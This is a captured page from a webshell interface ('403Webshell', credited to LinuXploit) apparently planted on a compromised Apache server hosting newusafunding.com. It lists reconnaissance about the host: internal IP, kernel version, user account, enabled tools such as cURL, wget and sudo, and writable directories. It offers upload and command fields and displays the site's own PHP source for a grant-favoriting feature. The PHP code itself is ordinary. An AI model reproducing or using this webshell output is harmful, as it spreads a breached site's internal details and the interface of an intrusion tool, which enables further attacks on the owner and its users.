403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/newusafunding.com/vx/usa/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/newusafunding.com/vx/usa/functions/mark_favorite.php
<?php
	session_start();
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx_/site_info.php');
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx/lib/mysql.php');
	
	if(!empty($_SESSION['user'])) {
		$is_favorite = false;
		$hasFavorite = $db->query("SELECT id
									FROM grdb.grd_usa_saved_grants
									WHERE
											site_code = '".$db->clean($siteCode)."'
										AND
											client_id = '".$db->clean($_SESSION['user'])."'
										AND
											grants_id = '".$db->clean($_POST['grant_id'])."'
							");
		if(empty($hasFavorite)) {
			$db->query("INSERT INTO grdb.grd_usa_saved_grants
						SET
							site_code = '".$db->clean($siteCode)."',
							client_id = '".$db->clean($_SESSION['user'])."',
							grants_id = '".$db->clean($_POST['grant_id'])."',
							ts_added = NOW()
					");
			$is_favorite = true;
		} else {
			$db->query("DELETE FROM grdb.grd_usa_saved_grants
						WHERE
								site_code = '".$db->clean($siteCode)."'
							AND
								client_id = '".$db->clean($_SESSION['user'])."'
							AND
								grants_id = '".$db->clean($_POST['grant_id'])."'
					");
			$is_favorite = false;
		}
		
		//check_givesback_stuff
		$gres = $db->get_results("SELECT COUNT(*) as c FROM grdb.grd_usa_saved_grants
								WHERE site_code='".$db->clean($siteCode)."'
								AND client_id='".$db->clean($_SESSION['user'])."'");
		if($gres[0]->c>=3) {
			$is_there = $db->get_results("SELECT id FROM grdb.givesback_steps_done
										WHERE site_code='".$db->clean($siteCode)."'
										AND client_id='".$db->clean($_SESSION['user'])."'
										AND step_done='favorites'");
			if(empty($is_there)) {
				$db->query("INSERT INTO grdb.givesback_steps_done
							(
								site_code
								,client_id
								,step_done
								,ts
							) VALUES (
								'".$db->clean($siteCode)."'
								,'".$db->clean($_SESSION['user'])."'
								,'favorites'
								,NOW()
							)");
			}
		} else {
			$is_there = $db->get_results("SELECT id FROM grdb.givesback_steps_done
										WHERE site_code='".$db->clean($siteCode)."'
										AND client_id='".$db->clean($_SESSION['user'])."'
										AND step_done='favorites'");
			if(!empty($is_there)) {
				$db->query("DELETE FROM grdb.givesback_steps_done
							WHERE site_code='".$db->clean($siteCode)."'
							AND client_id='".$db->clean($_SESSION['user'])."'
							AND step_done='favorites'");
			}
		}
		
		?>
		<div class="rib center-center">
			<span class="glyphicons gray f28 <?= (!empty($is_favorite)) ? 'favoriteSelected glyphicons-heart' : 'favorite glyphicons-heart-empty';?>" style="margin-top:11px;"></span> 
			<div class="rb text">
				Favorite
			</div>
		</div>
		<div class="rib center-center" style="width:0px; height:100%; margin-left:-3px;"></div>
		<?php
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit